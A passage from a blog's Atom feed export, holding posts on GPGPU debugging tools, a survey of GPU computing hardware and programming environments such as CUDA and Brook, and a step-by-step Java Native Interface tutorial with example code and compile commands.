The Shadesmith Fragment Program Debugger [5] was the first system to automate printf-style debugging while providing basic shader debugging functionality like breakpoints, program stepping, and programmable scale and bias for the image printf [8]. While Shadesmith represents a big step in the right direction for GPGPU debugging, it still has many limitations, the largest of which is that Shadesmith is currently limited to debugging assembly language shaders. Additionally, Shadesmith only works for OpenGL fragment programs, and provides no support for debugging OpenGL state.&lt;br /&gt;
&lt;br /&gt;
Finally, Duca et al. recently described a system that not only provides debugging for graphics state but also both vertex and fragment programs [6]. Their system builds a database of graphics state for which the user writes SQL style queries. Based on the queries, the system extracts the necessary graphics state and program data and draws the appropriate data into a debugging window [8]. The system is build on top of the Chromium [7] library, enabling debugging of any OpenGL applications without modification to the original source program. This promising approach combines graphics state debugging and program debugging with visualizations in a transparent and hardware-rendered approach.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] Graphic Remedy gDEBugger. http://www.gremedy.com/, 2006.&lt;br /&gt;
&lt;br /&gt;
[2] Trebilco D.: GLIntercept. http://glintercept.nutty.org/, 2006.&lt;br /&gt;
&lt;br /&gt;
[3] Microsoft shader debugger. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/directx9_c/directx/graphics/Tools/ShaderDebugger.asp, 2005.&lt;br /&gt;
&lt;br /&gt;
[4] Apple Computer OpenGL shader builder profiler. http://developer.apple.com/graphicsimaging/opengl/, 2006.&lt;br /&gt;
&lt;br /&gt;
[5] Purcell T. J., Sen P.: Shadesmith fragment program debugger. http://graphics.stanford.edu/projects/shadesmith/, 2003.&lt;br /&gt;
&lt;br /&gt;
[6] Duca N., Niski K., Bilodeau J., Bolitho M., Chen Y., Cohen J.: A relational debugging engine for the graphics pipeline. ACM Transactions on Graphics 24, 3 (Aug. 2005), 453–463.&lt;br /&gt;
&lt;br /&gt;
[7] Humphreys G., Houston M., Ng R., Frank R., Ahern S., Kirchner P., Klosowski J.:&lt;br /&gt;
Chromium: A stream-processing framework for interactive rendering on clusters. ACMTransactions on Graphics 21, 3 (July 2002), 693–702.&lt;br /&gt;
&lt;br /&gt;
[8] Owens, J. D., Luebke, D., Govindaraju, N., Harris, M., Krüger, J., Lefohn, J. A., and Purcell, T. A Survey of General-Purpose Computation on Graphics Hardware. Computer Graphics Forum, 26(1):80–113, March 2007.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-5435755412543350744?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/aHTTEPlGZxr_eNAqSyx_dPSy5dw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aHTTEPlGZxr_eNAqSyx_dPSy5dw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/aHTTEPlGZxr_eNAqSyx_dPSy5dw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/aHTTEPlGZxr_eNAqSyx_dPSy5dw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/5435755412543350744/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=5435755412543350744" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/5435755412543350744?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/5435755412543350744?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/eMMP16asXWk/gpgpu-debugging-tools.html" title="GPGPU Debugging Tools" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>4</thr:total><feedburner:origLink>http://www.think-techie.com/2009/09/gpgpu-debugging-tools.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQDQnw8fyp7ImA9WxNXE0U.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-2190180543476935158</id><published>2009-09-15T10:32:00.003+02:00</published><updated>2009-10-01T10:06:13.277+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-01T10:06:13.277+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="CUDA" /><category scheme="http://www.blogger.com/atom/ns#" term="GPU Computing" /><category scheme="http://www.blogger.com/atom/ns#" term="Parallel Computing" /><title>General-purpose computing on the GPU (GPGPU)</title><content type="html">&lt;div style="text-align: justify;"&gt;Parallelism is the future of computing. Future microprocessor development efforts will continue to concentrate on adding cores rather than increasing single-thread performance [1]. One example of this trend is the heterogeneous nine-core Cell broadband engine, currently used on Sony Playstation 3, which has also attracted substantial interest from the scientific computing community [1,7]. Similarly, the highly parallel graphics processing unit (GPU) is rapidly gaining maturity as a powerful engine for computationally demanding applications. The GPU’s performance and potential offer a great deal of promise for future computing systems. However the architecture and programming model of the GPU are slightly different from the commodity single-chip processors.&lt;br /&gt;
&lt;br /&gt;
One of the historical difficulties in programming GPGPU applications has been that despite their general-purpose tasks having nothing to do with graphics, the applications still had to be programmed using graphics APIs. In addition, the program had to be structured in terms of the graphics pipeline, with the programmable units only accessible as an intermediate step in that pipeline, when the programmer would almost certainly prefer to access the programmable units directly [1].&lt;br /&gt;
&lt;br /&gt;
Today, GPU computing applications are structured in the following way.&lt;br /&gt;
&lt;ol&gt;&lt;li&gt;The programmer directly defines the computation domain of interest as a structured grid of threads.&lt;/li&gt;
&lt;li&gt;An SPMD general-purpose program computes the value of each thread.&lt;/li&gt;
&lt;li&gt;The value for each thread is computed by a combination of math operations and both “gather” (read) accesses from and “scatter” (write) accesses to global memory. Unlike in the previous two methods, the same buffer can be used for both reading and writing, allowing more flexible algorithms (for example, in-place algorithms that use less memory).&lt;/li&gt;
&lt;li&gt;The resulting buffer in global memory can then be used as an input in future computation.&lt;/li&gt;
&lt;/ol&gt;This programming model is powerful for several reasons. First, it allows the hardware to fully exploit the application’s data parallelism by explicitly specifying that parallelism in the program. Next, it strikes a careful balance between generality (a fully programmable routine at each element) and restrictions to ensure good performance (the SPMD model, the restrictions on branching for efficiency, restrictions on data communication between elements and between kernels/passes, and so on). Finally, its direct access to the programmable units eliminates much of the complexity faced by previous GPGPU programmers in co-opting the graphics interface for general-purpose programming. As a result, programs are more often expressed in a familiar programming language and are simpler and easier to build and debug. The result is a programming model that allows its users to take full advantage of the GPU’s powerful hardware but also permits an increasingly high-level programming model that enables productive authoring of complex applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt; GPU versus CPU&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Recent experiments show that GPU implementations of traditionally CPU-restricted algorithms have performance increases of an order of magnitude or greater. The picture 1 can give an overall of current performances.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;img src="http://think-techie.com/images/gpu_peek.png" alt="GPU versus CPU performance" width=500 /&gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;Figure 1. GPU versus CPU performance&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Furthermore, Intel is developing a hybrid between a multi-core CPU and a GPU – Larabee, targeting to hit 2 Teraflops. This GPGPU chip should be released in the end of 2009 and the first two versions will have 32 and 24 cores respectively, with a 48 core version coming in 2010. Several short articles about Larrabee are claiming that Larrabee will have a TDP as large as 300W [4], that it will use a 12-layer PCB and has a cooling system that "is meant to look similar to what you can find on high-end Nvidia cards today” [5]. Larrabee will use GDDR5 memory and it is targeted to have 2 single-precision teraflops of computing power [6].&lt;br /&gt;
&lt;br /&gt;
AMD has already bought ATI and is already hitting 1.2 Teraflops with the Radeon HD 4870. Radeon HD 4870 X2 should already break 2 Teraflops.&lt;br /&gt;
&lt;br /&gt;
NVIDIA will offer the GT300 containing up to 512 cores, up from 240 cores in NVIDIA's current high-end GPU. Since the new chips will be on the 40nm process node, NVIDIA could also crank up the clock. The current Tesla GPUs are running at 1.3-1.4 GHz and deliver about 1 teraflop, single precision, and less than 100 gigaflops, double precision. There also some speculations that a 2 GHz clock could up that to 3 teraflops of single precision performance, and, because of other architectural changes, double precision performance would get an even larger boost. Furthermore and according to Valich [2], the upcoming GPU will sport a 512-bit interface connected to GDDR5 memory. If true he says, "we are looking at memory bandwidth anywhere between 268.8-294.4 GB/s per single GPU" [3].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Software Environments&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In the past, the majority of GPGPU programming was done directly through graphics APIs. Although many researchers were successful in getting applications to work, there is a fundamental mismatch between the traditional programming models people were using and the goals of the graphics APIs. Originally, people used fixed function, graphics-specific units (e.g. texture filters, blending, and stencil buffer operations) to perform GPGPU operations [1]. This quickly got better with fully programmable fragment processors which provided pseudo assembly languages, but this was still unapproachable by all but the most ardent researchers.&lt;br /&gt;
&lt;br /&gt;
With DirectX 9, higher level shader programming was made possible through the “high-level shading language” (HLSL), presenting a C-like interface for programming shaders. NVIDIA’s Cg provided similar capabilities as HLSL but was able to compile to multiple targets and provided the first high-level language for OpenGL. The OpenGL Shading Language (GLSL) is now the standard shading language for OpenGL. However, the main issue with Cg/HLSL/GLSL for GPGPU is that they are inherently shading languages. Computation must still be expressed in graphics terms like vertices, textures, fragments, and blending. So, although you could do more general computation with graphics APIs and shading languages, they were still largely unapproachable by the common programmer [1]. What developers really wanted were higher level languages that were designed explicitly for computation and abstracted all of the graphics-isms of the GPU.&lt;br /&gt;
&lt;br /&gt;
In the past, the majority of GPGPU programming was done directly through graphics APIs.&lt;br /&gt;
&lt;br /&gt;
Most high-level GPU programming languages today share one thing in common: they are designed around the idea that GPUs generate pictures. As such, the high-level programming languages are often referred to as shading languages [1]. That is, they are a high-level language that compiles a shader program into a vertex shader and a fragment shader to produce the image described by the program.&lt;br /&gt;
&lt;br /&gt;
Cg [8], HLSL [9], and the OpenGL Shading Language [10] all abstract the capabilities of the underlying GPU and allow the programmer to write GPU programs in a more familiar C-like programming language. They do not stray far from their origins as languages designed to shade polygons. All retain graphics-specific constructs: vertices, fragments, textures, etc. Cg and HLSL provide abstractions that are very close to the hardware, with instruction sets that expand as the underlying hardware capabilities expand. The OpenGL Shading Language was designed looking a bit further out, with many language features (e.g. integers) that do not directly map to hardware available today [1].&lt;br /&gt;
&lt;br /&gt;
Sh is a shading language implemented on top of C++ [16]. Sh provides a shader algebra for manipulating and defining procedurally parameterized shaders. Sh manages buffers and textures, and handles shader partitioning into multiple passes. Sh also provides a stream programming abstraction suitable for GPGPU programming [1]. &lt;br /&gt;
&lt;br /&gt;
BrookGPU [12] takes a pure streaming computation abstraction approach representing data as streams and computation as kernels. There is no notion of textures, vertices, fragments, or blending in Brook. Kernels are written in a restricted subset of C, notably the absence of pointers and scatter, and defined the input, output, and gather streams used in a kernel as part of the kernel definition. The user’s kernels are mapped to fragment shader code and streams to textures. Data upload and download to the GPU is performed via explicit read/write calls translating into texture updates and framebuffer read backs [1]. Lastly, computation is performed by rendering a quad covering the pixels in the output domain.&lt;br /&gt;
&lt;br /&gt;
Microsoft’s Accelerator [13] project has a similar goal as Brook in being very compute-centric, but instead of using offline compilation, Accelerator relies on just-in-time compilation of data-parallel operators to fragment shaders. Unlike Brook, but similar to Sh, the delayed evaluation model allows for more aggressive online compilation, leading to potentially more specialized and optimized generated code for execution on the GPU [1].&lt;br /&gt;
&lt;br /&gt;
RapidMind [14] commercialized Sh and now targets multiple platforms including GPUs, the STI Cell Broadband Engine, and multicore CPUs, and the new system is much more focused on computation as compared to Sh, which included many graphics-centric operations [1].&lt;br /&gt;
&lt;br /&gt;
PeakStream [15] (purchased by Google in 2007) is a new system, inspired by Brook, designed around operations on arrays. Similar to RapidMind and Accelerator, PeakStream uses just-in-time compilation but is much more aggressive about vectorizing the user’s code to maximize performance on SIMD architectures. Peak-Stream is also the first platform to provide profiling and debugging support, the latter continuing to be a serious problem in GPGPU development [1].&lt;br /&gt;
&lt;br /&gt;
Ashli [11] works at a level one step above that of Cg, HLSL, or the OpenGL Shading Language. Ashli reads as input shaders written in HLSL, the OpenGL Shading Language, or a subset of RenderMan. Ashli then automatically compiles and partitions the input shaders to run on a programmable GPU [1].&lt;br /&gt;
&lt;br /&gt;
AMD announced and released their system to researchers in late 2006. CTM (Close To the Metal), provides a low-level hardware abstraction layer (HAL) for the R5XX and R6XX series of ATI GPUs. CTMHAL provides raw assembly-level access to the fragment engines (stream processors) along with an assembler and command buffers to control execution on the hardware AMD also offers the compute abstraction layer (CAL), which adds higher level constructs, similar to those in the Brook runtime system, and compilation support to GPU ISA for GLSL, HLSL, and pseudo assembly like Pixel Shader 3.0. For higher level programming, AMD supports compilation of Brook programs directly to R6XX hardware, providing a higher level programming abstraction than provided by CAL or HAL.&lt;br /&gt;
&lt;br /&gt;
NVIDIA’s CUDA is a higher level interface than AMD’s HAL and CAL. Similar to Brook, CUDA provides a C-like syntax for executing on the GPU and compiles offline. However, unlike Brook, which only exposed one dimension of parallelism, data parallelism via streaming, CUDA exposes two levels of parallelism, data parallel and multithreading. CUDA also exposes much more of the hardware resources than Brook, exposing multiple levels of memory hierarchy: per-thread registers, fast shared memory between threads in a block, board memory, and host memory. Kernels in CUDA are also more flexible that those in Brook by allowing the use of pointers (although data must be on board), general load/store to memory allowing the user to scatter data from within a kernel, and synchronization between threads in a thread block. However, all of this flexibility and potential performance gain comes with the cost of requiring the user to understand more of the low-level details of the hardware, notably register usage, thread and thread block scheduling, and behavior of access patterns through memory.&lt;br /&gt;
&lt;br /&gt;
CUDA provides tuned and optimized basic linear algebra subprograms (BLAS) and fast Fourier transform (FFT) libraries to use as building blocks for large applications. Low-level access to hardware, such as that provided by CTM, or GPGPU specific systems like CUDA, allow developers to effectively bypass the graphics drivers and maintain stable performance and correctness.&lt;br /&gt;
&lt;br /&gt;
NVIDIA’s CUDA allows the user to access memory using standard C constructs (arrays, pointers, variables). AMD’s CTM is nearly as flexible but uses 2-D addressing.&lt;br /&gt;
&lt;br /&gt;
The use of direct-compute layers such as CUDA and CTM both simplifies and improves the performance of linear algebra on the GPU. For example, NVIDIA provides CuBLAS, a dense linear algebra package implemented in CUDA and following the popular BLAS conventions.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] Owens, J. D., Houston, M., Luebke, D., Green, S., Stone, J. E., and Phillips, J. C. GPU computing. IEEE Proceedings, May 2008, 879-899.&lt;br /&gt;
&lt;br /&gt;
[2] Theo Valich. GT300 to feature 512-bit interface - nVidia set to continue with complicated controllers?. http://www.brightsideofnews.com/news/2009/5/5/gt300-to-feature-512-bit-interface---nvidia-set-to-continue-with-complicated-controllers.aspx&lt;br /&gt;
&lt;br /&gt;
[3] nVidia's GT300 specifications revealed - it's a cGPU!. http://www.brightsideofnews.com/news/2009/4/22/nvidias-gt300-specifications-revealed---its-a-cgpu!.aspx&lt;br /&gt;
&lt;br /&gt;
[4]Larrabee to launch at 300W TDP. fudzilla.com. http://www.fudzilla.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=7651&amp;amp;Itemid=1. Retrieved on 2008-08-06.&lt;br /&gt;
&lt;br /&gt;
[5] Larrabee will use a 12-layer PCB. fudzilla.com. http://www.fudzilla.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=8435&amp;amp;Itemid=1. Retrieved on 2009-07-09.&lt;br /&gt;
&lt;br /&gt;
[6] Larrabee will use GDDR5 memory. fudzilla.com. http://www.fudzilla.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=8460&amp;amp;Itemid=1. Retrieved on 2008-08-06.&lt;br /&gt;
&lt;br /&gt;
[7] Jakub Kurzak, Alfredo Buttari, Piotr Luszczek, Jack Dongarra, "The PlayStation 3 for High-Performance Scientific Computing," Computing in Science and Engineering, vol. 10, no. 3, pp. 84-87, May/June, 2008.&lt;br /&gt;
&lt;br /&gt;
[8] Mark W. R., Glanville R. S., Akeley K., Kilgard M. J.: Cg: A system for programming graphics hardware in a C-like language. ACM Transactions on Graphics 22, 3 (July 2003), 896–907.&lt;br /&gt;
&lt;br /&gt;
[9] Microsoft high-level shading language. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/directx9_c/directx/graphics/reference/hlslreference/hlslreference.asp, 2005.&lt;br /&gt;
&lt;br /&gt;
[10] Kessenich J., Baldwin D., Rost R.: The OpenGL Shading Language version 1.10.59. http://www.opengl.org/documentation/oglsl.html, Apr. 2004.&lt;br /&gt;
&lt;br /&gt;
[11] Bleiweiss A., Preetham A.: Ashli—Advanced shading language interface. ACM SIGGRAPH Course Notes (July 2003). http://www.ati.com/developer/SIGGRAPH03/AshliNotes.pdf.&lt;br /&gt;
&lt;br /&gt;
[12] I. Buck, T. Foley, D. Horn, J. Sugerman, K. Fatahalian, M. Houston, and P. Hanrahan, “Brook for GPUs: Stream computing on graphics hardware”, ACM Trans. Graph., vol. 23, no. 3, pp. 777–786, Aug. 2004.&lt;br /&gt;
&lt;br /&gt;
[13] D. Tarditi, S. Puri, and J. Oglesby, “Accelerator: Using data-parallelism to program GPUs for general-purpose uses”, in Proc. 12th Int. Conf. Architect. Support Program. Lang. Oper. Syst., Oct. 2006, pp. 325–335.&lt;br /&gt;
&lt;br /&gt;
[14] M. McCool, “Data-parallel programming on the cell BE and the GPU using the RapidMind development platform”, in Proc. GSPx Multicore Applicat. Conf., Oct.–Nov. 2006.&lt;br /&gt;
&lt;br /&gt;
[15] PeakStream, The PeakStream platform: High productivity software development for multi-core processors. [Online]. Available: http://www.peakstreaminc.com/reference/peakstream_platform_technote.pdf&lt;br /&gt;
&lt;br /&gt;
[16] Mccool M., Du Toit S., Popa T., Chan B., Moule K.: Shader algebra. ACM Transactions on Graphics 23, 3 (Aug. 2004), 787–795.&lt;br /&gt;
&lt;br&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-2190180543476935158?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/3loMKE87fLY1_w5eRxpIb7Wv1uA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3loMKE87fLY1_w5eRxpIb7Wv1uA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/3loMKE87fLY1_w5eRxpIb7Wv1uA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/3loMKE87fLY1_w5eRxpIb7Wv1uA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/2190180543476935158/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=2190180543476935158" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2190180543476935158?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2190180543476935158?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/Fj7OrIBhTLI/general-purpose-computing-on-gpu-gpgpu.html" title="General-purpose computing on the GPU (GPGPU)" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>2</thr:total><feedburner:origLink>http://www.think-techie.com/2009/09/general-purpose-computing-on-gpu-gpgpu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DE4CQHkzcSp7ImA9WhRbEks.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-8447413864188278916</id><published>2009-08-31T16:06:00.063+02:00</published><updated>2012-02-03T12:02:41.789+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-03T12:02:41.789+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><title>The Java Native Interface (JNI)</title><content type="html">&lt;div style="text-align:justify"&gt;The Java Native Interface (JNI) enables the integration of code written in the Java programming language with code written in other languages such as C, C++ and assembly. Therefore, you can natively run heavy tasks in pursuance of a better performance.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight:bold;"&gt;Is it platform-independent?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Your application can be platform-independent if you store the compiled JNI libraries (for all possible architectures) in the jar alongside the class files. However, since System.load() can't cope with loading libraries from within a jar, you'll therefore need a custom loader which extracts the library to a temporary file at runtime.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight:bold;"&gt;So, what do I need ?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Microsoft Windows SDK (recomended if you are using Windows)&lt;/li&gt;
&lt;li&gt;Microsoft Visual Studio (same here)&lt;/li&gt;
&lt;li&gt;Java SDK&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;span style="font-weight:bold;"&gt;And, which are the magic steps?&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;1. Declare your native methods in a normal Java class.&lt;/span&gt;&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;public class JavaJNI {

static {
System.loadLibrary("NativeLib");
}

public static native String write(String s);

public static void main(String[] argv) {
System.out.print(JavaJNI.write("Hello"));
}

}

&lt;/pre&gt;&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;2. Compile the Java file normally.&lt;/span&gt;&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;javac JavaJNI.java
&lt;/pre&gt;&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;3. Generate the .h file.&lt;/span&gt;&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;javah -jni JavaJNI
&lt;/pre&gt;&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;4. Write the native code using the file generated above.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In this case you will find the following method inside:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;JNIEXPORT jstring JNICALL 
Java_JavaJNI_write(JNIEnv *, jclass, jstring);
&lt;/pre&gt;Now you have the green light to implement it.&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;#include "JavaJNI.h"

JNIEXPORT jstring JNICALL Java_JavaJNI_write(JNIEnv *env, 
jobject thisobject, jstring js){
const char *temp;
jstring result = NULL;
temp = (*env)-&gt;GetStringUTFChars(env, js, 0);

/** Your normal C code */
printf("Input: %s", temp);

result = (*env)-&gt;NewStringUTF(env, 
(const char*) "\nResult: http://www.think-techie.com");
(*env)-&gt;ReleaseStringUTFChars(env, js, temp);
return result;
}

&lt;/pre&gt;If you are trying to use C++ use the following methods instead:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;env-&gt;GetStringUTFChars(js, 0);
env-&gt;NewStringUTF((const char*) temp);
env-&gt;ReleaseStringUTFChars(js, temp);
&lt;/pre&gt;&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;5. Compile the code&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Windows with MS C++ Compiler&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;cl -c /Ic:\Programs\JavaSDK\include /I"C:\Programs\Microsoft Visual Studio 9.0\VC\include" /Ic:\Programs\JavaSDK\include\win32 NativeLib.c

link -LIBPATH:"C:\Programs\Microsoft SDKs\Windows\v6.0\VC\LIB" -LIBPATH:"C:\Programs\Microsoft SDKs\Windows\v6.0\Lib" NativeLib.obj /dll
&lt;/pre&gt;Or this one:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;cl -I C:\Programs\JavaSDK\include -I C:\Programs\JavaSDK\include\win32 -LD NativeLib.c -FeNativeLib.dll
&lt;/pre&gt;Solaris with Sun Compiler&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;cc -G -I JavaSDK/include -I JavaSDK/include/solaris -o libNativeLib.so NativeLib.c
&lt;/pre&gt;Linux with GCC&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;gcc -fPIC -I JavaSDK/include -I JavaSDK/include/linux -shared -o libNativeLib.so NativeLib.c
&lt;/pre&gt;If your prefer to use &lt;a href="http://ant.apache.org" rel="nofollow"&gt;Ant&lt;/a&gt; take a look at &lt;a href="http://ant-contrib.sourceforge.net/cc.html" rel="nofollow"&gt;cc Task&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;6. Run the example&lt;/span&gt;&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;java JavaJNI
&lt;/pre&gt;Application output:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;Input: Hello
Result: http://www.think-techie.com
&lt;/pre&gt;&lt;span style="font-weight:bold;"&gt;7. Did you got errors ?&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
There are some common errors such as:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;java.lang.UnsatisfiedLinkError: no NativeLib in 
java.library.path
at java.lang.ClassLoader.loadLibrary(Unknown Source)
at java.lang.Runtime.loadLibrary0(Unknown Source)
at java.lang.System.loadLibrary(Unknown Source)
at ...
&lt;/pre&gt;The manner through which java searches for the needed files are different in each scenario:&lt;ol&gt;&lt;li&gt;Java searches for *.class files through the "-cp"/"-classpath" command line switch. If neither are specified on the command line, CLASSPATH is searched.&lt;/li&gt;
&lt;li&gt;Java searches for JNI files through the "-Djava.library.path" command line switch. If "-Djava.library.path" is not specified, LD_LIBRARY_PATH is searched, but the /etc/ld.so.conf mechanism is not used.&lt;/li&gt;
&lt;li&gt;The way a JNI glue library searches for the underlying C++ *.so libraries is not controlled by the Java process at all. The normal operating system rules are applied (LD_LIBRARY_PATH, /etc/ld.so.conf, etc.).&lt;/li&gt;
&lt;/ol&gt;Consequently, one way of fixing this is to include the current location of your newly compiled shared library. If you are using linux you can do this:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;LD_LIBRARY_PATH=`pwd`
export LD_LIBRARY_PATH
&lt;/pre&gt;Another way is to define the location when running the program:&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;java -Djava.library.path=. JavaJNI
&lt;/pre&gt;&lt;span style="font-weight:bold;"&gt;8. Did you got more errors ?&lt;/span&gt;&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;java.lang.UnsatisfiedLinkError: &amp;lt;library location&amp;gt;: 
&amp;lt;library location&amp;gt;: only ET_DYN and ET_EXEC can be loaded
at java.lang.ClassLoader$NativeLibrary.load(Native Method)
at java.lang.ClassLoader.loadLibrary0(ClassLoader.java:1778)
at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1674)
at java.lang.Runtime.load0(Runtime.java:770)
at java.lang.System.load(System.java:1005)
...
&lt;/pre&gt;If you are using g++, try to include the option "-shared" when compiling the cpp file.&lt;br /&gt;
&lt;pre name="code" class="c#"&gt;g++ -shared NativeLib.cpp -o NativeLib.so -I JavaSDK/include
-I JavaSDK/include/linux
&lt;/pre&gt;Do not include the "-c" option. It will skip the linking stage.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] JNI – Java Native Interface. White Magician. wmagician.wordpress.com&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-8447413864188278916?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/TubPkRRxRbzpA7pSJQ29hPeuQEs/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TubPkRRxRbzpA7pSJQ29hPeuQEs/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
